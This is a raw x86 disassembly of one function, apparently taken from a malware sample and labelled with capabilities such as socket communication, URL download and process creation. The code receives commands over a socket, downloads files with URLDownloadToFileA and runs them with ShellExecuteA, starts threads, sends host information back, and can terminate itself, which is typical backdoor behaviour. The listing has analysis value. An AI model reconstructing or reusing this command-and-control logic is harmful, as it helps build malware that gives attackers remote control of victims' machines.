Function at 0x408964
Capabilities:
Create process on windows
Create thread
Download url
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x11c1
push 0
push 0
dec ecx
jne 0x40896c
push ecx
push ebx
push esi
push edi
mov ebx, dword [0x40b2fc]
lea esi, [ebp - 0x8cbd]
xor eax, eax
push ebp
push 0x409b87
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x18]
call fcn.0040265c
lea eax, [ebp - 0xc]
call fcn.004086f0
push 0x409ba0
push dword [ebp - 0xc]
push 0x409bb0
push dword [ebp - 0xc]
push 0x409bbc
push dword [ebp - 0xc]
push 0x409bb0
push dword [ebp - 0xc]
push 0x409bd4
push 0x409be0
push dword [ebp - 0xc]
push 0x409bd4
lea eax, [ebp - 8]
mov edx, 0xc
call fcn.00402998
push 0
mov eax, dword [ebp - 8]
call fcn.004028d8
push eax
lea eax, [ebp - 8]
call fcn.00402b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
jmp 0x409b27
lea eax, [ebp - 4]
mov edx, 4
call fcn.00403930
lea eax, [ebp - 4]
mov edx, esi
mov ecx, 0x8ca1
call fcn.004028c0
mov eax, esi
mov edx, 0x8ca1
call fcn.00403930
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x409bf0
call fcn.00402c10
mov ecx, eax
sub ecx, 2
mov edx, 2
mov eax, dword [ebp - 4]
call fcn.00402b2c
lea edx, [ebp - 0x8cc4]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8cc4]
mov eax, 0x409bfc
call fcn.00402c10
test eax, eax
jle 0x408ad4
lea edx, [ebp - 0x8cc8]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8cc8]
mov eax, 0x409c10
call fcn.00402c10
test eax, eax
jle 0x408ad4
push 0x409be0
lea eax, [ebp - 0x8ccc]
call fcn.004086f0
push dword [ebp - 0x8ccc]
push 0x409bd4
lea eax, [ebp - 8]
mov edx, 3
call fcn.00402998
push 0
mov eax, dword [ebp - 8]
call fcn.004028d8
push eax
lea eax, [ebp - 8]
call fcn.00402b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov edx, dword [ebp - 4]
mov eax, 0x409c20
call fcn.00402c10
test eax, eax
jle 0x408b6d
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x409c20
call fcn.00402c10
add eax, 2
push eax
mov eax, dword [ebp - 4]
call fcn.004028d8
mov ecx, eax
mov eax, dword [ebp - 4]
pop edx
call fcn.00402b2c
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x409c30
call fcn.00402c10
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00402b2c
push 0x409c3c
push dword [ebp - 8]
push 0x409bd4
lea eax, [ebp - 8]
mov edx, 3
call fcn.00402998
push 0
mov eax, dword [ebp - 8]
call fcn.004028d8
push eax
lea eax, [ebp - 8]
call fcn.00402b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
jmp 0x409785
mov edx, dword [ebp - 4]
mov eax, 0x409c48
call fcn.00402c10
test eax, eax
jle 0x408bf4
lea eax, [ebp - 8]
mov edx, 0x409c58
call fcn.004026f4
push 0
mov eax, dword [ebp - 8]
call fcn.004028d8
push eax
lea eax, [ebp - 8]
call fcn.00402b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
lea eax, [ebp - 8]
mov edx, 0x409c70
call fcn.004026f4
lea eax, [ebp - 8]
mov edx, 0x409c88
call fcn.004028e0
push 0
mov eax, dword [ebp - 8]
call fcn.004028d8
push eax
lea eax, [ebp - 8]
call fcn.00402b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov ax, 0x28
call fcn.00404e20
mov ax, 0x28
call fcn.00407738
jmp 0x409785
mov edx, dword [ebp - 4]
mov eax, 0x409cb4
call fcn.00402c10
test eax, eax
jle 0x408caa
lea edx, [ebp - 0x8cd0]
mov eax, dword [ebp - 0x18]
call fcn.0040794c
mov eax, dword [ebp - 0x8cd0]
push eax
lea edx, [ebp - 0x8cd4]
mov eax, dword [ebp - 0x14]
call fcn.0040794c
mov eax, dword [ebp - 0x8cd4]
pop edx
call fcn.00402c10
test eax, eax
jle 0x409785
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.004026f4
mov edx, dword [ebp - 4]
mov eax, 0x409cb4
call fcn.00402c10
mov ecx, eax
add ecx, 9
lea eax, [ebp - 8]
mov edx, 1
call fcn.00402b6c
mov edx, dword [ebp - 8]
mov eax, 0x409cc8
call fcn.00402c10
mov edx, eax
dec edx
lea eax, [ebp - 8]
call fcn.00402c58
mov eax, 0x40c9b0
mov edx, dword [ebp - 8]
call fcn.004026b0
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x40849c
push 0
push 0
call sub.kernel32.dll_CreateThread_1
jmp 0x409785
lea edx, [ebp - 0x8cd8]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8cd8]
mov eax, 0x409cd4
call fcn.00402c10
test eax, eax
jle 0x408d80
lea edx, [ebp - 0x8cdc]
mov eax, dword [ebp - 0x18]
call fcn.0040794c
mov eax, dword [ebp - 0x8cdc]
push eax
lea edx, [ebp - 0x8ce0]
mov eax, dword [ebp - 0x14]
call fcn.0040794c
mov eax, dword [ebp - 0x8ce0]
pop edx
call fcn.00402c10
test eax, eax
jle 0x409785
lea eax, [ebp - 4]
push eax
lea edx, [ebp - 0x8ce4]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8ce4]
mov eax, 0x409cd4
call fcn.00402c10
add eax, 4
push eax
mov eax, dword [ebp - 4]
call fcn.004028d8
mov ecx, eax
mov eax, dword [ebp - 4]
pop edx
call fcn.00402b2c
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00407988
mov eax, 0x40c9a8
mov edx, dword [ebp - 8]
call fcn.004026b0
mov eax, 0x40c9ac
mov edx, dword [ebp - 0x14]
call fcn.004026b0
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x407d70
push 0
push 0
call sub.kernel32.dll_CreateThread_1
jmp 0x409785
lea edx, [ebp - 0x8ce8]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8ce8]
mov eax, 0x409ce0
call fcn.00402c10
test eax, eax
jle 0x408e85
lea edx, [ebp - 0x8cec]
mov eax, dword [ebp - 0x18]
call fcn.0040794c
mov eax, dword [ebp - 0x8cec]
push eax
lea edx, [ebp - 0x8cf0]
mov eax, dword [ebp - 0x14]
call fcn.0040794c
mov eax, dword [ebp - 0x8cf0]
pop edx
call fcn.00402c10
test eax, eax
jle 0x409785
lea eax, [ebp - 4]
push eax
lea edx, [ebp - 0x8cf4]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8cf4]
mov eax, 0x409ce0
call fcn.00402c10
add eax, 5
push eax
mov eax, dword [ebp - 4]
call fcn.004028d8
mov ecx, eax
mov eax, dword [ebp - 4]
pop edx
call fcn.00402b2c
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00407988
push 0x40c9a8
mov edx, dword [ebp - 8]
mov eax, 0x409bb0
call fcn.00402c10
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00402b2c
push 0x40c9ac
mov edx, dword [ebp - 8]
mov eax, 0x409bb0
call fcn.00402c10
inc eax
push eax
mov eax, dword [ebp - 8]
call fcn.004028d8
mov ecx, eax
mov eax, dword [ebp - 8]
pop edx
call fcn.00402b2c
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x407d70
push 0
push 0
call sub.kernel32.dll_CreateThread_1
jmp 0x409785
lea edx, [ebp - 0x8cf8]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8cf8]
mov eax, 0x409cf0
call fcn.00402c10
test eax, eax
jle 0x408f77
lea edx, [ebp - 0x8cfc]
mov eax, dword [ebp - 0x18]
call fcn.0040794c
mov eax, dword [ebp - 0x8cfc]
push eax
lea edx, [ebp - 0x8d00]
mov eax, dword [ebp - 0x14]
call fcn.0040794c
mov eax, dword [ebp - 0x8d00]
pop edx
call fcn.00402c10
test eax, eax
jle 0x409785
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x8d04]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8d04]
mov eax, 0x409cf0
call fcn.00402c10
add eax, 3
push eax
mov eax, dword [ebp - 4]
call fcn.004028d8
mov ecx, eax
mov eax, dword [ebp - 4]
pop edx
call fcn.00402b2c
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x409c30
call fcn.00402c10
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00402b2c
push 0x409c70
push dword [ebp - 8]
push 0x409bd4
lea eax, [ebp - 8]
mov edx, 3
call fcn.00402998
push 0
mov eax, dword [ebp - 8]
call fcn.004028d8
push eax
lea eax, [ebp - 8]
call fcn.00402b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
jmp 0x409785
lea edx, [ebp - 0x8d08]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8d08]
mov eax, 0x409cfc
call fcn.00402c10
test eax, eax
jle 0x40911c
lea edx, [ebp - 0x8d0c]
mov eax, dword [ebp - 0x18]
call fcn.0040794c
mov eax, dword [ebp - 0x8d0c]
push eax
lea edx, [ebp - 0x8d10]
mov eax, dword [ebp - 0x14]
call fcn.0040794c
mov eax, dword [ebp - 0x8d10]
pop edx
call fcn.00402c10
test eax, eax
jle 0x409785
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x8d14]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8d14]
mov eax, 0x409cfc
call fcn.00402c10
add eax, 4
push eax
mov eax, dword [ebp - 4]
call fcn.004028d8
mov ecx, eax
mov eax, dword [ebp - 4]
pop edx
call fcn.00402b2c
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x409c30
call fcn.00402c10
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00402b2c
lea eax, [ebp - 0x8d18]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00402b2c
mov eax, dword [ebp - 0x8d18]
mov edx, 0x409d08
call fcn.00402a1c
jne 0x4090a7
push 0x409d14
lea eax, [ebp - 0x8d20]
push eax
mov eax, dword [ebp - 8]
call fcn.004028d8
mov ecx, eax
mov edx, 2
mov eax, dword [ebp - 8]
call fcn.00402b2c
mov eax, dword [ebp - 0x8d20]
lea edx, [ebp - 0x8d1c]
call fcn.004087ac
push dword [ebp - 0x8d1c]
push 0x409bd4
lea eax, [ebp - 8]
mov edx, 3
call fcn.00402998
jmp 0x4090fb
push 0x409d34
push dword [ebp - 0x14]
push 0x409d48
lea eax, [ebp - 0x8d28]
push eax
mov eax, dword [ebp - 8]
call fcn.004028d8
mov ecx, eax
mov edx, 2
mov eax, dword [ebp - 8]
call fcn.00402b2c
mov eax, dword [ebp - 0x8d28]
lea edx, [ebp - 0x8d24]
call fcn.004087ac
push dword [ebp - 0x8d24]
push 0x409bd4
lea eax, [ebp - 8]
mov edx, 5
call fcn.00402998
push 0
mov eax, dword [ebp - 8]
call fcn.004028d8
push eax
lea eax, [ebp - 8]
call fcn.00402b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
jmp 0x409785
lea edx, [ebp - 0x8d2c]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8d2c]
mov eax, 0x409d5c
call fcn.00402c10
test eax, eax
jle 0x4091f4
lea edx, [ebp - 0x8d30]
mov eax, dword [ebp - 0x18]
call fcn.0040794c
mov eax, dword [ebp - 0x8d30]
push eax
lea edx, [ebp - 0x8d34]
mov eax, dword [ebp - 0x14]
call fcn.0040794c
mov eax, dword [ebp - 0x8d34]
pop edx
call fcn.00402c10
test eax, eax
jle 0x409785
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x8d38]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8d38]
mov eax, 0x409d5c
call fcn.00402c10
add eax, 3
push eax
mov eax, dword [ebp - 4]
call fcn.004028d8
mov ecx, eax
mov eax, dword [ebp - 4]
pop edx
call fcn.00402b2c
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x409c30
call fcn.00402c10
mov ecx, eax
inc ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00402b2c
push 0
mov eax, dword [ebp - 8]
call fcn.004028d8
push eax
lea eax, [ebp - 8]
call fcn.00402b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
jmp 0x409785
lea edx, [ebp - 0x8d3c]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8d3c]
mov eax, 0x409d68
call fcn.00402c10
test eax, eax
jle 0x40934c
lea edx, [ebp - 0x8d40]
mov eax, dword [ebp - 0x18]
call fcn.0040794c
mov eax, dword [ebp - 0x8d40]
push eax
lea edx, [ebp - 0x8d44]
mov eax, dword [ebp - 0x14]
call fcn.0040794c
mov eax, dword [ebp - 0x8d44]
pop edx
call fcn.00402c10
test eax, eax
jle 0x409785
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x8d48]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8d48]
mov eax, 0x409d68
call fcn.00402c10
add eax, 3
push eax
mov eax, dword [ebp - 4]
call fcn.004028d8
mov ecx, eax
mov eax, dword [ebp - 4]
pop edx
call fcn.00402b2c
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x409c30
call fcn.00402c10
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00402b2c
lea eax, [ebp - 0x8d4c]
call fcn.004086f0
mov edx, dword [ebp - 0x8d4c]
lea eax, [ebp - 0x1c]
mov ecx, 0x409d78
call fcn.00402924
push 0
push 0
mov eax, dword [ebp - 0x1c]
call fcn.00402ad0
mov edi, eax
push edi
mov eax, dword [ebp - 8]
call fcn.00402ad0
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
jne 0x4092fb
lea eax, [ebp - 8]
mov edx, 0x409d88
call fcn.004026f4
jmp 0x409308
lea eax, [ebp - 8]
mov edx, 0x409db8
call fcn.004026f4
push 1
push 0
push 0
push edi
push 0x409ddc
push 0
call sub.shell32.dll_ShellExecuteA
cmp byte [0x40b2f0], 0
je 0x40932b
push 0
call sub.kernel32.dll_ExitProcess_1
push 0
mov eax, dword [ebp - 8]
call fcn.004028d8
push eax
lea eax, [ebp - 8]
call fcn.00402b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
jmp 0x409785
lea edx, [ebp - 0x8d50]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8d50]
mov eax, 0x409dec
call fcn.00402c10
test eax, eax
jle 0x409442
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x8d54]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8d54]
mov eax, 0x409dec
call fcn.00402c10
add eax, 3
push eax
mov eax, dword [ebp - 4]
call fcn.004028d8
mov ecx, eax
mov eax, dword [ebp - 4]
pop edx
call fcn.00402b2c
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x409c30
call fcn.00402c10
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00402b2c
lea edx, [ebp - 0x8d58]
mov eax, dword [ebp - 0x18]
call fcn.0040794c
mov eax, dword [ebp - 0x8d58]
push eax
lea edx, [ebp - 0x8d5c]
mov eax, dword [ebp - 0x14]
call fcn.0040794c
mov eax, dword [ebp - 0x8d5c]
pop edx
call fcn.00402c10
test eax, eax
jle 0x409785
lea eax, [ebp - 8]
mov edx, 0x409df8
call fcn.004026f4
push 0
mov eax, dword [ebp - 8]
call fcn.004028d8
push eax
lea eax, [ebp - 8]
call fcn.00402b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
push 0x3e8
call sub.kernel32.dll_Sleep
push 0
call sub.kernel32.dll_ExitProcess_1
lea edx, [ebp - 0x8d60]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8d60]
mov eax, 0x409e14
call fcn.00402c10
test eax, eax
jle 0x40952b
lea edx, [ebp - 0x8d64]
mov eax, dword [ebp - 0x18]
call fcn.0040794c
mov eax, dword [ebp - 0x8d64]
push eax
lea edx, [ebp - 0x8d68]
mov eax, dword [ebp - 0x14]
call fcn.0040794c
mov eax, dword [ebp - 0x8d68]
pop edx
call fcn.00402c10
test eax, eax
jle 0x4094ed
lea edx, [ebp - 0x8d6c]
mov eax, dword [ebp - 0x18]
call fcn.0040794c
mov eax, dword [ebp - 0x8d6c]
push eax
lea edx, [ebp - 0x8d70]
mov eax, dword [ebp - 0x14]
call fcn.0040794c
mov eax, dword [ebp - 0x8d70]
pop edx
call fcn.00402c10
push eax
mov eax, dword [ebp - 0x14]
call fcn.004028d8
mov ecx, eax
lea eax, [ebp - 0x18]
pop edx
call fcn.00402b6c
lea eax, [ebp - 8]
mov edx, 0x409e20
call fcn.004026f4
jmp 0x4094fa
lea eax, [ebp - 8]
mov edx, 0x409e48
call fcn.004026f4
lea eax, [ebp - 8]
mov ecx, dword [ebp - 8]
mov edx, 0x409c70
call fcn.00402924
push 0
mov eax, dword [ebp - 8]
call fcn.004028d8
push eax
lea eax, [ebp - 8]
call fcn.00402b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
jmp 0x409785
lea edx, [ebp - 0x8d74]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8d74]
mov eax, 0x409e60
call fcn.00402c10
test eax, eax
jle 0x4096f3
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x8d78]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8d78]
mov eax, 0x409e60
call fcn.00402c10
add eax, 3
push eax
mov eax, dword [ebp - 4]
call fcn.004028d8
mov ecx, eax
mov eax, dword [ebp - 4]
pop edx
call fcn.00402b2c
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x409c30
call fcn.00402c10
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00402b2c
push 0x409e6c
push dword [ebp - 0x14]
lea eax, [ebp - 0x8d7c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x409bf0
call fcn.00402c10
inc eax
push eax
mov eax, dword [ebp - 4]
call fcn.004028d8
mov ecx, eax
mov eax, dword [ebp - 4]
pop edx
call fcn.00402b2c
push dword [ebp - 0x8d7c]
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00402998
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x409bb0
call fcn.00402c10
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.00402b2c
lea edx, [ebp - 0x8d90]
mov eax, dword [ebp - 0x1c]
call fcn.004058b8
lea eax, [ebp - 0x8d90]
lea edx, [ebp - 0x8d80]
call fcn.0040592c
mov edx, dword [ebp - 0x8d80]
lea eax, [ebp - 0x1c]
call fcn.004026f4
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 8]
call fcn.00402a1c
jne 0x4096c5
lea eax, [ebp - 8]
mov edx, 0x409e7c
call fcn.004026f4
lea edx, [ebp - 0x8d94]
mov eax, dword [ebp - 0x18]
call fcn.0040794c
mov eax, dword [ebp - 0x8d94]
push eax
lea edx, [ebp - 0x8d98]
mov eax, dword [ebp - 0x14]
call fcn.0040794c
mov eax, dword [ebp - 0x8d98]
pop edx
call fcn.00402c10
test eax, eax
jne 0x409697
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0x14]
call fcn.004028e0
jmp 0x4096a4
lea eax, [ebp - 8]
mov edx, 0x409ea4
call fcn.004026f4
push 0
mov eax, dword [ebp - 8]
call fcn.004028d8
push eax
lea eax, [ebp - 8]
call fcn.00402b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
jmp 0x409785
lea eax, [ebp - 8]
mov edx, 0x409ee0
call fcn.004026f4
push 0
mov eax, dword [ebp - 8]
call fcn.004028d8
push eax
lea eax, [ebp - 8]
call fcn.00402b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
jmp 0x409785
lea edx, [ebp - 0x8d9c]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8d9c]
mov eax, 0x409f1c
call fcn.00402c10
test eax, eax
jle 0x409785
lea eax, [ebp - 0x8da0]
push eax
lea edx, [ebp - 0x8da4]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8da4]
mov eax, 0x409f1c
call fcn.00402c10
add eax, 4
push eax
lea edx, [ebp - 0x8da8]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov eax, dword [ebp - 0x8da8]
mov ecx, 1
pop edx
call fcn.00402b2c
mov eax, dword [ebp - 0x8da0]
mov edx, 0x409d08
call fcn.00402a1c
jne 0x40977c
mov eax, dword [0x40b2f8]
mov dword [eax], 1
jmp 0x409785
mov eax, dword [0x40b2f8]
xor edx, edx
mov dword [eax], edx
lea edx, [ebp - 0x8dac]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8dac]
mov eax, 0x409f28
call fcn.00402c10
test eax, eax
jle 0x409811
lea eax, [ebp - 0x8db0]
push eax
lea edx, [ebp - 0x8db4]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8db4]
mov eax, 0x409f28
call fcn.00402c10
add eax, 4
push eax
lea edx, [ebp - 0x8db8]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov eax, dword [ebp - 0x8db8]
mov ecx, 1
pop edx
call fcn.00402b2c
mov eax, dword [ebp - 0x8db0]
mov edx, 0x409d08
call fcn.00402a1c
jne 0x40980a
mov byte [0x40b2f0], 1
jmp 0x409811
mov byte [0x40b2f0], 0
lea edx, [ebp - 0x8dbc]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8dbc]
mov eax, 0x409f34
call fcn.00402c10
test eax, eax
jle 0x409961
lea edx, [ebp - 0x8dc0]
mov eax, dword [ebp - 0x18]
call fcn.0040794c
mov eax, dword [ebp - 0x8dc0]
push eax
lea edx, [ebp - 0x8dc4]
mov eax, dword [ebp - 0x14]
call fcn.0040794c
mov eax, dword [ebp - 0x8dc4]
pop edx
call fcn.00402c10
test eax, eax
jle 0x409b27
mov edi, dword [0x40b2f4]
mov edi, dword [edi]
push 0x409f40
lea eax, [ebp - 0x8dc8]
call fcn.004079d8
push dword [ebp - 0x8dc8]
push 0x409f64
lea eax, [ebp - 0x8dcc]
call fcn.00407a58
push dword [ebp - 0x8dcc]
push 0x409f74
lea edx, [ebp - 0x8dd0]
mov eax, edi
call fcn.00405c0c
push dword [ebp - 0x8dd0]
push 0x409f88
lea edx, [ebp - 0x8dd4]
mov eax, dword [0x40b304]
mov eax, dword [eax]
call fcn.00405c0c
push dword [ebp - 0x8dd4]
push 0x409f94
lea edx, [ebp - 0x8dd8]
mov eax, dword [0x40b30c]
mov eax, dword [eax]
call fcn.00405c0c
push dword [ebp - 0x8dd8]
push 0x409fa0
lea edx, [ebp - 0x8ddc]
mov eax, dword [0x40b300]
mov eax, dword [eax]
call fcn.00405c0c
push dword [ebp - 0x8ddc]
push 0x409fac
lea edx, [ebp - 0x8de0]
mov eax, dword [0x40b310]
mov eax, dword [eax]
call fcn.00405c0c
push dword [ebp - 0x8de0]
push 0x409fb8
lea eax, [ebp - 8]
mov edx, 0xf
call fcn.00402998
push 0
mov eax, dword [ebp - 8]
call fcn.004028d8
push eax
lea eax, [ebp - 8]
call fcn.00402b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
jmp 0x409b27
lea edx, [ebp - 0x8de4]
mov eax, dword [ebp - 4]
call fcn.0040794c
mov edx, dword [ebp - 0x8de4]
mov eax, 0x409fc8
call fcn.00402c10
test eax, eax
jle 0x409b27
lea edx, [ebp - 0x8de8]
mov eax, dword [ebp - 0x18]
call fcn.0040794c
mov eax, dword [ebp - 0x8de8]
push eax
lea edx, [ebp - 0x8dec]
mov eax, dword [ebp - 0x14]
call fcn.0040794c
mov eax, dword [ebp - 0x8dec]
pop edx
call fcn.00402c10
test eax, eax
jle 0x409b27
mov edi, dword [0x40b2f4]
mov edi, dword [edi]
push 0x409d34
push dword [ebp - 0x14]
push 0x409fd4
lea edx, [ebp - 0x8df0]
mov eax, edi
call fcn.00405c0c
push dword [ebp - 0x8df0]
push 0x409bd4
push 0x409d34
push dword [ebp - 0x14]
push 0x409ff4
lea edx, [ebp - 0x8df4]
mov eax, dword [0x40b304]
mov eax, dword [eax]
call fcn.00405c0c
push dword [ebp - 0x8df4]
push 0x409bd4
push 0x409d34
push dword [ebp - 0x14]
push 0x40a010
lea edx, [ebp - 0x8df8]
mov eax, dword [0x40b30c]
mov eax, dword [eax]
call fcn.00405c0c
push dword [ebp - 0x8df8]
push 0x409bd4
push 0x409d34
push dword [ebp - 0x14]
push 0x40a030
lea edx, [ebp - 0x8dfc]
mov eax, dword [0x40b300]
mov eax, dword [eax]
call fcn.00405c0c
push dword [ebp - 0x8dfc]
push 0x409bd4
push 0x409d34
push dword [ebp - 0x14]
push 0x40a050
lea edx, [ebp - 0x8e00]
mov eax, dword [0x40b310]
mov eax, dword [eax]
call fcn.00405c0c
push dword [ebp - 0x8e00]
push 0x409bd4
push 0x409d34
push dword [ebp - 0x14]
push 0x40a06c
lea edx, [ebp - 0x8e04]
xor eax, eax
call fcn.00401444
push dword [ebp - 0x8e04]
push 0x409bd4
push 0x409d34
push dword [ebp - 0x14]
push 0x40a084
lea eax, [ebp - 0x8e08]
call fcn.004079d8
push dword [ebp - 0x8e08]
push 0x409bd4
push 0x409d34
push dword [ebp - 0x14]
push 0x40a09c
lea eax, [ebp - 0x8e0c]
call fcn.00407a58
push dword [ebp - 0x8e0c]
push 0x409bd4
lea eax, [ebp - 8]
mov edx, 0x28
call fcn.00402998
push 0
mov eax, dword [ebp - 8]
call fcn.004028d8
push eax
lea eax, [ebp - 8]
call fcn.00402b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
push 0
push 0x8ca1
push esi
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_recv
test eax, eax
jg 0x408a01
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409b8e
lea eax, [ebp - 0x8e0c]
mov edx, 0x1f
call fcn.00402680
lea eax, [ebp - 0x8d80]
mov edx, 0x30
call fcn.00402680
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00402680
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402680
ret